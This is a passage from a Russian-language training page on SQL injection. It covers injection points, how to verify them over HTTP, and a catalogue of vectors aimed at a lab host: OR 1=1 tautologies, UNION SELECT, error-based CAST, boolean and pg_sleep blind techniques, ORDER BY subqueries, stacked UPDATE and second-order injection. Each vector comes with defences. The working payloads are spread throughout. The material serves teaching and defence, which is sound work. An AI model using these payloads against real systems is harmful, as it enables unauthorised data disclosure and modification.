WEB SECURITY / DATABASE QUERY BOUNDARY
SQL Injection (SQLi)
Где пользовательская строка превращается в SQL-код, как это проверить в HTTP и чем отличаются утечка, blind-сигнал, изменение данных и ошибки фильтрации.
01 / ГДЕ ИСКАТЬ
Где искать
Ищем не текст OR 1=1, а место, где недоверенное значение попадает в построение SQL — значение WHERE, SQL-идентификатор, динамическую процедуру или raw ORM.
Параметр товара превращается в число внутри WHERE; интересует место соединения строки запроса с SQL.
HTTP-запрос
GET /api/products?id=1 HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"products":[{"id":1,"title":"Guide"}]}Куда попадает значение: SELECT id,title FROM products WHERE id = {id}
Где возникает риск
Если id просто дописывают к SQL, вместо числа могут попасть операторы и новые условия.
Требуемая проверка
Передавать id параметром драйвера с правильным типом и отдельной проверкой прав на объект.
Категория или поисковая строка обычно попадает в строковый SQL-литерал.
HTTP-запрос
GET /api/products?category=books HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"products":[{"id":1,"title":"Guide"}]}Куда попадает значение: WHERE category = '{category}' AND published = TRUE
Где возникает риск
Символ одинарной кавычки может завершить литерал, если приложение собирает SQL конкатенацией.
Требуемая проверка
Параметризовать строковые значения; права и публикацию проверять в неизменной серверной логике.
Значения sort/column/direction нередко попадают непосредственно в структуру SQL, а не в выражение значения.
HTTP-запрос
GET /api/products?sort=price HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"ids":[3,1,2]}Куда попадает значение: SELECT ... FROM products ORDER BY {sort}
Где возникает риск
Свободное выражение после ORDER BY может содержать подзапросы и вычисления, даже без кавычек.
Требуемая проверка
Сопоставлять публичные варианты sort с фиксированными именами колонок и направлениями (allowlist).
Тело JSON безопасно как формат, но его поля могут стать SQL при ручной конкатенации.
HTTP-запрос
POST /api/search HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 17
{"query":"Guide"}Ответ учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"hits":[{"id":1,"title":"Guide"}]}Куда попадает значение: SELECT ... WHERE title = '{parsed_json.query}'
Где возникает риск
JSON-парсер декодирует строку; неправильный SQL builder затем использует её как синтаксис.
Требуемая проверка
Биндить значения и ограничивать разрешённые имена фильтров/операторов.
Cookie может влиять на выбранный язык, фильтр каталога и сортировку, если backend ему доверяет.
HTTP-запрос
GET /api/catalog HTTP/1.1
Host: lab.example.test
Cookie: sort=price
Accept: application/jsonОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"ids":[3,1,2]}Куда попадает значение: ORDER BY {cookie.sort}
Где возникает риск
Браузер позволяет изменить значения cookie; они не становятся доверенными из-за своего расположения.
Требуемая проверка
Разрешённый список параметров сортировки и отказ от сборки SQL из Cookie.
Внутренний proxy или middleware может копировать HTTP-заголовок в фильтр отчёта.
HTTP-запрос
GET /api/report HTTP/1.1
Host: lab.example.test
X-Report-Filter: region-north
Accept: application/jsonОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"rows":2}Куда попадает значение: WHERE region = '{X-Report-Filter}'
Где возникает риск
Произвольный HTTP-заголовок — такой же недоверенный ввод, как query и body.
Требуемая проверка
Применять связывание параметров к заголовкам, если они участвуют в условиях SQL.
Значение сначала сохраняют без SQLi, но позже читают из базы и заново вставляют в SQL.
HTTP-запрос
POST /api/profile HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 25
{"display_name":"tester"}Ответ учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"saved":true}Куда попадает значение: stored display_name → later dynamic report WHERE author = '...'
Где возникает риск
Первоначальная безопасная INSERT не защищает последующий конкатенированный SELECT.
Требуемая проверка
Применять параметризацию при каждом использовании сохранённых значений.
Хранимая процедура или ORM могут динамически строить запрос, даже если внешний API выглядит типобезопасным.
HTTP-запрос
POST /api/audit/search HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 17
{"actor":"alice"}Ответ учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"events":["alice:login"]}Куда попадает значение: stored procedure EXEC(dynamic_sql)
Где возникает риск
Безопасность зависит от того, использует ли процедура динамический SQL с конкатенацией.
Требуемая проверка
Параметризация внутри процедуры, фиксированные операции и минимальные права роли БД.
02 / КАК РАСПОЗНАТЬ
Как распознать
Переключай уязвимый builder и parameterized SQL на одних и тех же вводах. Это локальная модель — запросы не отправляются в сеть и SQL не выполняется.
Как ввод превращается в SQL
Выбери запрос и режим. На уязвимой стороне ввод попадает в синтаксис SQL; в защищённой значения связываются отдельно, а ORDER BY выбирается по allowlist. HTTP и ответы — учебные данные.
HTTP-запрос
Ответ учебного сервера
- 01 / ВВОД
- 02 / SQL ПОСЛЕ ОБРАБОТКИ
1. Найти SQL sink
Определить, какой endpoint действительно строит SQL: WHERE, ORDER BY, raw(), EXEC или позднее использование сохранённой строки. Не каждый пользовательский фильтр связан с SQL.
2. Установить СУБД и контекст
Уточнить PostgreSQL/MySQL/SQL Server, числовой или строковый литерал, SQL-идентификатор и количество вычисляемых колонок. Синтаксис payload нельзя считать универсальным.
3. Отправить контроль и изменение
В Burp Repeater сравнить безопасное значение и одно структурное изменение. Два запроса нужны только там, где различие доказывает SQL-эффект.
4. Проследить HTTP → SQL
Развести raw URL, percent/JSON decode, построенную SQL-строку, действия СУБД и HTTP-ответ. Показать изменившиеся фрагменты SQL.
5. Проверить признак
Смотреть новые строки, явный контрольный маркер, повторяемое true/false, устойчивую задержку или подтверждённое изменение данных. Один 500 и один 200 недостаточны.
6. Назвать импакт и ограничение
Разграничить чтение, утечку через ошибки/время, запись и дополнительный риск. Права DB-роли и конфигурация драйвера определяют фактический масштаб.
| Признак | Что действительно показывает | Чего не доказывает |
|---|---|---|
| Новых строк больше, чем в контроле | Изменился результат SQL-предиката или фильтра | Не всегда SQLi — проверить права, фильтр и кэш |
| 500 с SQL-текстом | Выполненная СУБД вернула диагностическое сообщение | Один 500 не гарантирует управление SQL |
| Время +2 сек при pg_sleep(2) | При устойчивом сравнении — возможный time-based сигнал | Случайная сетовая задержка не означает SQLi |
| updated=2 после PATCH | Приложение заявило об изменении двух строк | Нужно подтвердить состояние БД, не только HTTP-счётчик |
03 / ВЕКТОРЫ SQL INJECTION
Векторы атак
Пять тематических групп, 15 неравнозначных механизмов. У каждого: Red Team-предыстория, необходимое условие, HTTP, конкретный SQL после обработки, способ доказать эффект, защита и отдельный импакт.
01 / SQL-контекст и изменение логики3 вектора
Как недоверенное значение превращается в часть выражения SQL: числовое условие, строковый литерал и структурный ORDER BY.
Уязвимый backend подставляет строку id в WHERE без параметризации; логический оператор становится частью SQL, а не числом.
Предыстория / Red Team: Мы нашли поиск по числовому id. Сначала получаем один товар, затем добавляем логическое условие и проверяем, расширился ли набор строк.
Вариант 1 — Контроль: обычный ID
HTTP-запрос 1
GET /api/products?id=1 HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"products":[{"id":1,"title":"Guide"}]}Вариант 2 — проверяем SQLi
HTTP-запрос 2
GET /api/products?id=1%20OR%201%3D1--%20 HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"products":[{"id":1,"title":"Guide"},{"id":2,"title":"Mouse"},{"id":3,"title":"Draft"}]}В чём разница: Меняется только id: `1` выбирает одну запись, `1 OR 1=1-- ` меняет WHERE и комментирует серверное ограничение published.
Как ввод становится SQL
- HTTP / ВВОД
id=1 OR 1=1--Контролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
id → '1 OR 1=1-- ' (не целое число в уязвимом builder)Приложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
SELECT id,title FROM products WHERE id = 1 OR 1=1-- AND published=TRUESQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
3 товара, включая Draft (published=false)Наблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
SQL-парсер воспринимает OR 1=1 как логическое выражение, а -- скрывает оставшуюся часть условия. Если id передан bind-параметром, строка не меняет SQL-структуру.
Как убедиться, что это действительно сработало
Сравнить id=1 и изменённый id: различие в количестве и составе строк должно повторяться. Не считать один HTTP 200 достаточным.
Необходимое условие: PostgreSQL-контекст числового значения, динамическая конкатенация SQL и отсутствие независимой проверки опубликованности.
Почему уязвимо
Backend вставляет пользовательскую строку id в SQL до проверки типа и прав.
Как защититься
Параметризованный WHERE id = $1 с типом integer, права и published всегда серверными предикатами.
Источник: PortSwigger: SQL injection
Импакт
Прямой результат: Чтение строк вне исходного фильтра, включая скрытые товары или записи других владельцев, если SQL-роль их видит.
Возможные последствия и ограничения: Возможна утечка данных, но изменение WHERE не даёт автоматической записи или привилегий за пределами роли БД.
Категория находится между одинарными кавычками. Если строка вставляется вручную, кавычка пользователя закрывает её и позволяет продолжить SQL.
Предыстория / Red Team: Мы нашли фильтр category. Передаём кавычку и условие OR, чтобы проверить, не закрывается ли строка категории в собранном запросе.
Вариант 1 — Контроль: категория books
HTTP-запрос 1
GET /api/products?category=books HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"products":[{"id":1,"title":"Guide"}]}Вариант 2 — проверяем SQLi
HTTP-запрос 2
GET /api/products?category=books'%20OR%201%3D1--%20 HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"products":[{"id":1,"title":"Guide"},{"id":2,"title":"Mouse"},{"id":3,"title":"Draft"}]}В чём разница: Изменено только значение category. Сначала выборка соответствует категории и published, затем условие OR охватывает всю таблицу.
Как ввод становится SQL
- HTTP / ВВОД
category=books' OR 1=1--Контролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
URL decode → books' OR 1=1--Приложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
SELECT id,title FROM products WHERE category='books' OR 1=1-- ' AND published=TRUESQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
3 строки разных категорий вместо 1Наблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
Первая кавычка завершает строковый литерал, OR становится частью SQL, а комментарий убирает добавленное сервером ограничение. При bind-параметре это одна строка данных.
Как убедиться, что это действительно сработало
Контрольная категория возвращает только Guide; модифицированная включает Mouse и Draft, что подтверждает изменение SQL-логики в демонстрационной модели.
Необходимое условие: Значение категории интерполируется внутрь SQL-литерала без parameter binding; запрос допускает SQL-комментарий до конца инструкции.
Почему уязвимо
Сборка строкового литерала через конкатенацию позволяет пользовательскому вводу закрыть кавычку.
Как защититься
Использовать WHERE category = $1 и не позволять вводу изменять опубликованность, права и другие серверные условия.
Источник: PortSwigger: SQL injection
Импакт
Прямой результат: Раскрытие строк, не удовлетворяющих исходному фильтру, в том числе неопубликованных записей.
Возможные последствия и ограничения: Доступ зависит от прав роли БД и результата запроса; наличие кавычки само по себе не доказывает выполнение SQLi.
ORDER BY требует SQL-выражение, а не строковое значение. Параметризация данных не может подставить имя столбца или целое SQL-выражение вместо фиксированной структуры.
Предыстория / Red Team: Мы заметили параметр sort с именем столбца. Вместо допустимого price передаём CASE с подзапросом и наблюдаем изменение порядка строк.
Вариант 1 — Контроль: сортировка по id
HTTP-запрос 1
GET /api/products?sort=id HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"ids":[1,2,3]}Вариант 2 — проверяем SQLi
HTTP-запрос 2
GET /api/products?sort=CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20lab_markers)%3E0%20THEN%20price%20ELSE%20id%20END HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"ids":[3,1,2]}В чём разница: Вместо разрешённого имени id попадает SQL CASE с вложенным SELECT. Порядок меняется благодаря результату подзапроса к lab_markers.
Как ввод становится SQL
- HTTP / ВВОД
sort=CASE WHEN (SELECT COUNT(*) FROM lab_markers)>0 THEN price ELSE id ENDКонтролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
HTTP query → строка sort → конкатенация в ORDER BYПриложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
SELECT id,title,price FROM products ORDER BY CASE WHEN (SELECT COUNT(*) FROM lab_markers)>0 THEN price ELSE id ENDSQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
Порядок цен: [3,1,2] вместо id: [1,2,3]Наблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
PostgreSQL вычисляет выражение CASE прямо в ORDER BY. Пользователь задал SQL-подзапрос вместо одного разрешённого имени колонки; bind-параметр не решает выбор идентификатора.
Как убедиться, что это действительно сработало
Сравнить сортировки и SQL-лог: порядок [3,1,2] допустим при цене 5,10,20; отдельно подтвердить, что сервер принял неразрешённое выражение.
Необходимое условие: Backend использует ORDER BY ${sort} без allowlist; lab_markers непуста; данные о ценах соответствуют демонстрационным записям.
Почему уязвимо
Ввод контролирует синтаксический фрагмент ORDER BY, включая выражения и подзапросы.
Как защититься
Сопоставлять sort=id/price только с фиксированными SQL-идентификаторами; направления ASC/DESC выбирать из allowlist.
Источник: PortSwigger: SQL injection in query structure
Импакт
Прямой результат: Выполнение дополнительного SQL-выражения/подзапроса и потенциальное раскрытие сведений через порядок строк.
Возможные последствия и ограничения: Новый ORDER BY не означает произвольную запись: последствия зависят от допустимых выражений и прав DB-учётной записи.
02 / Данные в ответе и ошибки СУБД2 вектора
In-band SQLi: SQL-данные напрямую попадают в HTTP-ответ, либо ошибка SQL раскрывает их при неправильной диагностике.
UNION позволяет присоединить к исходному SELECT строки другого SELECT при одинаковом числе и совместимых типах столбцов.
Предыстория / Red Team: Мы выяснили, что каталог возвращает id и title. В категорию добавляем UNION из учебной таблицы lab_markers и проверяем, появился ли маркер в результатах.
HTTP-запрос
GET /api/products?category=books'%20UNION%20SELECT%2099%2Clabel%20FROM%20lab_markers--%20 HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"products":[{"id":1,"title":"Guide"},{"id":3,"title":"Draft"},{"id":99,"title":"lab-marker=sql-demo"}]}Как ввод становится SQL
- HTTP / ВВОД
category=books' UNION SELECT 99,label FROM lab_markers--Контролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
category → выход из кавычек; query builder добавляет UNIONПриложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
SELECT id,title FROM products WHERE category='books' UNION SELECT 99,label FROM lab_markers-- ' AND published=TRUESQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
В JSON появился id=99 и lab-marker=sql-demoНаблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
Исходный SELECT выдаёт две колонки (integer,text), UNION SELECT возвращает совместимые 99 и label. СУБД объединяет результаты; приложение сериализует и постороннюю строку.
Как убедиться, что это действительно сработало
Ищем уникальный маркер из lab_markers, которого нет в products. Нельзя делать вывод о UNION по одному изменению порядка.
Необходимое условие: Бэкэнд возвращает строки SELECT, количество/типы колонок совместимы, DB-роль имеет SELECT на lab_markers, запрос собирается конкатенацией.
Почему уязвимо
Backend позволяет вводу расширить SQL-запрос UNION и прочитать другую доступную DB-роли таблицу.
Как защититься
Bind для category, минимальные права DB-роли и запрет диагностического раскрытия системных таблиц.
Источник: PortSwigger: SQLi UNION attacks
Импакт
Прямой результат: Вывод строк другой таблицы непосредственно в HTTP-ответ, например служебных данных, доступных роли СУБД.
Возможные последствия и ограничения: В реальной системе влияние зависит от разрешённых таблиц, совместимости типов и видимости результатов; UNION не даёт автоматически доступ ко всей базе.
СУБД может включить отвергнутое значение в сообщение об ошибке. Это отдельный канал утечки, не требующий вывода строк из SELECT.
Предыстория / Red Team: Уязвимый endpoint возвращает диагностические ошибки СУБД. Мы заставляем CAST обрабатывать учебную строку-маркер и проверяем, попадёт ли она в текст ошибки.
HTTP-запрос
GET /api/products?id=1%20AND%201%3DCAST((SELECT%20label%20FROM%20lab_markers%20LIMIT%201)%20AS%20INTEGER) HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет учебного сервера
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
{"error":"invalid input syntax for type integer: \"lab-marker=sql-demo\""}Как ввод становится SQL
- HTTP / ВВОД
id=1 AND 1=CAST((SELECT label FROM lab_markers LIMIT 1) AS INTEGER)Контролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
id → SQL-предикат с вложенным SELECT и CASTПриложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
SELECT id,title FROM products WHERE id=1 AND 1=CAST((SELECT label FROM lab_markers LIMIT 1) AS INTEGER)SQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
500 с ошибкой PostgreSQL, включающей lab-marker=sql-demoНаблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
PostgreSQL пытается превратить текст label в integer и сообщает проблемное значение. Уязвимый HTTP-обработчик пересылает диагностический текст клиенту.
Как убедиться, что это действительно сработало
Для подтверждения нужен маркер из таблицы в ошибке, а не просто любой 500. Если сервер скрывает сообщения, данный канал утечки отсутствует, хотя SQLi может оставаться.
Необходимое условие: PostgreSQL выполняет выражение CAST, DB-роль читает lab_markers, а HTTP/API раскрывает детальный текст SQL-ошибки.
Почему уязвимо
Помимо SQL-конкатенации backend отправляет клиенту содержимое исключения драйвера.
Как защититься
Bind для id, централизованное логирование внутренних ошибок и нейтральные сообщения для клиента, минимальные права DB-роли.
Источник: PortSwigger SQLi cheat sheet
Импакт
Прямой результат: Утечка значения из таблицы через диагностическую ошибку, без нормального вывода SELECT.
Возможные последствия и ограничения: При корректном скрытии ошибок этот канал не работает; сообщение 500 без значения не доказывает чтение чужих данных.
03 / Blind SQLi: подтверждение по косвенным сигналам3 вектора
Ответ не показывает результаты SQL-выражения: Red Team использует различие содержимого, времени или наличия ошибки. Сигнал и его ограничения подписаны отдельно.
Логическое условие меняет количество возвращённых строк; приложение выдаёт косвенный сигнал, не возвращая само значение из подзапроса.
Предыстория / Red Team: Найден id, который не выводит SQL-ошибки. Сравниваем истинное и ложное условие через один и тот же API и наблюдаем наличие строки.
Вариант 1 — Контроль: заведомо ложное условие
HTTP-запрос 1
GET /api/products?id=1%20AND%20(SELECT%20COUNT(*)%20FROM%20lab_markers)%3D0 HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"products":[]}Вариант 2 — проверяем SQLi
HTTP-запрос 2
GET /api/products?id=1%20AND%20(SELECT%20COUNT(*)%20FROM%20lab_markers)%3E0 HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"products":[{"id":1,"title":"Guide"}]}В чём разница: В обоих HTTP-запросах меняется только предикат: истинный возвращает Guide, ложный — пустой список. Значение из lab_markers явно не выводится.
Как ввод становится SQL
- HTTP / ВВОД
id=1 AND COUNT(lab_markers)>0 / =0Контролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
Значение id подставлено в SELECT без bindПриложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
SELECT id,title FROM products WHERE id=1 AND (SELECT COUNT(*) FROM lab_markers)>0SQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
true → 1 продукт, false → 0 продуктовНаблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
СУБД вычисляет условие на сервере; веб-приложение лишь сообщает наличие или отсутствие строки. Это boolean-based blind: данные можно исследовать по серии проверок, а не по прямой выдаче.
Как убедиться, что это действительно сработало
Контроль true/false воспроизводимо меняет JSON при одинаковой сессии и данных; другие причины отсутствия строки нужно исключить.
Необходимое условие: Query builder допускает SQL-операторы в id, DB-роль видит lab_markers, а HTTP-ответ различается по наличию найденного товара.
Почему уязвимо
SQL-ввод управляет WHERE-предикатом даже при отсутствии ошибок/вывода подзапросов.
Как защититься
Bind id и не менять структуру WHERE из пользовательского ввода, применять объектные ACL.
Источник: PortSwigger: Blind SQL injection
Импакт
Прямой результат: Косвенное определение фактов о БД (true/false), при повторных запросах возможна утечка доступных SQL-роли сведений.
Возможные последствия и ограничения: Наличие ответа true/false не раскрывает секрет автоматически; требуется контролируемый предикат и воспроизводимый сигнал.
В PostgreSQL pg_sleep() задерживает выполнение SQL. Если ввод попадает в SQL и функция реально вызывается, время ответа может измениться без видимых данных.
Предыстория / Red Team: Тело и статус ответа не меняются при проверках id. Сравниваем обычный запрос и условие с pg_sleep(2), чтобы найти устойчивую задержку.
Вариант 1 — Контроль: id без SQL-задержки
HTTP-запрос 1
GET /api/products?id=1 HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
X-Lab-Elapsed-Ms: 40
{"products":[{"id":1,"title":"Guide"}]}Вариант 2 — проверяем SQLi
HTTP-запрос 2
GET /api/products?id=1%20AND%20EXISTS(SELECT%201%20FROM%20pg_sleep(2)) HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
X-Lab-Elapsed-Ms: 2040
{"products":[{"id":1,"title":"Guide"}]}В чём разница: Оба ответа содержат одну и ту же строку. Различается измеренная лабораторным сервером задержка: около 40 мс против около 2040 мс.
Как ввод становится SQL
- HTTP / ВВОД
id=1 AND EXISTS(SELECT 1 FROM pg_sleep(2))Контролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
id → SQL с volatile-функцией PostgreSQLПриложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
SELECT id,title FROM products WHERE id=1 AND EXISTS(SELECT 1 FROM pg_sleep(2))SQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
HTTP body одинаковый, X-Lab-Elapsed-Ms: ~40 → ~2040Наблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
При выполнении подзапроса PostgreSQL вызывает pg_sleep(2), а клиент видит отложенный ответ. X-Lab-Elapsed-Ms — специально добавленный заголовок учебного стенда, не стандартный ответ реального сервера.
Как убедиться, что это действительно сработало
Повторить контроль/изменение несколькими сериями и сравнить распределения времени: сеть и кэш могут давать случайные задержки.
Необходимое условие: Конкретно PostgreSQL; выражение с pg_sleep действительно выполняется, SQL не параметризован, драйвер ждёт завершения, внешний timeout не обрывает тест.
Почему уязвимо
Управляемая SQL-структура допускает вызов функции задержки, создавая временной канал наблюдения.
Как защититься
Bind значения, ограничить длительность запросов и права DB-роли, мониторить аномальные задержки без замены первичной защиты.
Источник: PostgreSQL: pg_sleep
Импакт
Прямой результат: Временной канал blind SQLi: возможность получать ответы на SQL-условия даже при одинаковом HTTP-теле.
Возможные последствия и ограничения: Долгие запросы могут расходовать ресурсы, но единичная задержка не доказывает SQLi. pg_sleep относится к PostgreSQL, а не ко всем СУБД.
В отличие от error-based с раскрытием строки здесь само наличие ошибки служит двоичным сигналом: тело исключения остаётся скрытым.
Предыстория / Red Team: Приложение скрывает SQL-ошибки, но отвечает 500 при внутреннем исключении. Создаём условное приведение текстового маркера к integer и проверяем сигнал.
Вариант 1 — Контроль: ложный предикат без CAST
HTTP-запрос 1
GET /api/products?id=1%20AND%201%3DCASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20lab_markers)%3D0%20THEN%20CAST((SELECT%20label%20FROM%20lab_markers%20LIMIT%201)%20AS%20INTEGER)%20ELSE%201%20END HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"products":[{"id":1,"title":"Guide"}]}Вариант 2 — проверяем SQLi
HTTP-запрос 2
GET /api/products?id=1%20AND%201%3DCASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20lab_markers)%3E0%20THEN%20CAST((SELECT%20label%20FROM%20lab_markers%20LIMIT%201)%20AS%20INTEGER)%20ELSE%201%20END HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 2
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
{"error":"database_error"}В чём разница: В показанном стенде выполняется CAST только при истинном предикате. 500 появляется без утечки текста ошибки; ложный предикат не вызывает CAST и возвращает обычный результат.
Как ввод становится SQL
- HTTP / ВВОД
id → условный CASE с CAST из lab_markersКонтролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
Query builder вставляет CASE в WHEREПриложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
SELECT id,title FROM products WHERE id=1 AND 1=CASE WHEN (SELECT COUNT(*) FROM lab_markers)>0 THEN CAST((SELECT label FROM lab_markers LIMIT 1) AS INTEGER) ELSE 1 ENDSQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
условие true → 500; false → 200 (без деталей ошибки)Наблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
PostgreSQL условно оценивает ветку CASE и пытается преобразовать текстовую строку в integer, что вызывает исключение. В HTTP видно только различие 200/500.
Как убедиться, что это действительно сработало
Проверить чередование истинного/ложного условий. Глобальная ошибка SQL, появляющаяся при обоих, не даёт полезного условного сигнала.
Необходимое условие: CASE-выражение должно реально выполнять CAST только в истинной ветке; выбранный маркер не приводится к integer; приложение скрывает текст SQL-ошибки.
Почему уязвимо
SQL-ввод управляет вычислением запроса, даже когда внутренние исключения не показываются клиенту.
Как защититься
Связывание id как integer, нейтральная обработка ошибок, мониторинг повторяющихся 500.
Источник: PortSwigger: Blind SQL injection
Импакт
Прямой результат: Косвенное определение SQL-условий через факт ошибки, даже если диагностический текст не виден.
Возможные последствия и ограничения: RCE и прямой доступ к строкам из одного статуса 500 не следуют. Необходим устойчивый условный сигнал и права DB-роли.
04 / Сохранённый ввод и изменение данных4 вектора
Здесь важно разделять: сначала ввод сохранили, затем использовали; либо SQLi дошла до UPDATE/нескольких операторов. Результат подтверждается отдельным чтением состояния.
При включённой поддержке нескольких SQL-инструкций пользователь может завершить SELECT и добавить UPDATE. Это зависит от SQL API и режима драйвера.
Предыстория / Red Team: Мы нашли sort, который попадает в SQL без allowlist. Проверяем, допускает ли конкретный драйвер второй оператор; затем отдельно читаем контрольный флаг.
HTTP-запрос
GET /api/reports?sort=id%3B%20UPDATE%20lab_flags%20SET%20enabled%3DTRUE%20WHERE%20name%3D'demo'--%20 HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"rows":2}Проверка состояния после исходного запроса
Контрольный HTTP-запрос
GET /api/lab/flags/demo HTTP/1.1
Host: lab.example.test
Accept: application/jsonКонтрольный ответ
HTTP/1.1 200 OK
Content-Type: application/json
{"name":"demo","enabled":true}До инъекции lab_flags.demo.enabled=false. После проверочного GET значение true; без независимой проверки нельзя утверждать, что UPDATE выполнился.
Как ввод становится SQL
- HTTP / ВВОД
sort=id; UPDATE lab_flags SET enabled=TRUE WHERE name='demo'--Контролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
sort → неконтролируемый SQL-фрагмент ORDER BYПриложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
SELECT id,title FROM reports ORDER BY id; UPDATE lab_flags SET enabled=TRUE WHERE name='demo'--SQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
после проверки: lab_flags.demo.enabled false → trueНаблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
Точка с запятой завершает SQL SELECT; следующий UPDATE меняет лабораторную строку. Многие драйверы/подготовленные операции запрещают multi-statements — тогда эффект отсутствует.
Как убедиться, что это действительно сработало
Нужен независимый GET состояния или журнал БД после запроса; первоначальный ответ 200 не доказывает выполнение второго оператора.
Необходимое условие: SQL API PostgreSQL принимает несколько операторов в одной отправке, динамический sort не фильтруется, DB-роль имеет UPDATE на lab_flags и транзакция коммитится.
Почему уязвимо
Пользовательский sort прямо попадает в SQL-структуру, а драйвер допускает несколько инструкций.
Как защититься
Allowlist ORDER BY, только одиночные parameterized statements, DB-пользователь без UPDATE для операций чтения.
Источник: PortSwigger SQLi cheat sheet: batched queries
Импакт
Прямой результат: Изменение данных в БД, хотя внешний endpoint предназначен для чтения отчёта.
Возможные последствия и ограничения: Возможна порча/подмена записей в рамках прав DB-роли. RCE не следует из UPDATE, и поддержка multi-statements не универсальна.
Первый запрос INSERT/UPDATE может быть параметризованным. Уязвимость появляется позже, когда сохранённое значение вставляют в новый SQL посредством конкатенации.
Предыстория / Red Team: Ранее мы могли менять display_name профиля. Сохраняем значение с SQL-выражением, затем открываем отчёт, который повторно использует сохранённое имя.
Шаг 1 — сохраняем данные без SQLi
HTTP-запрос — первый этап
POST /api/profile HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 36
{"display_name":"tester' OR 1=1-- "}Ответ сервера
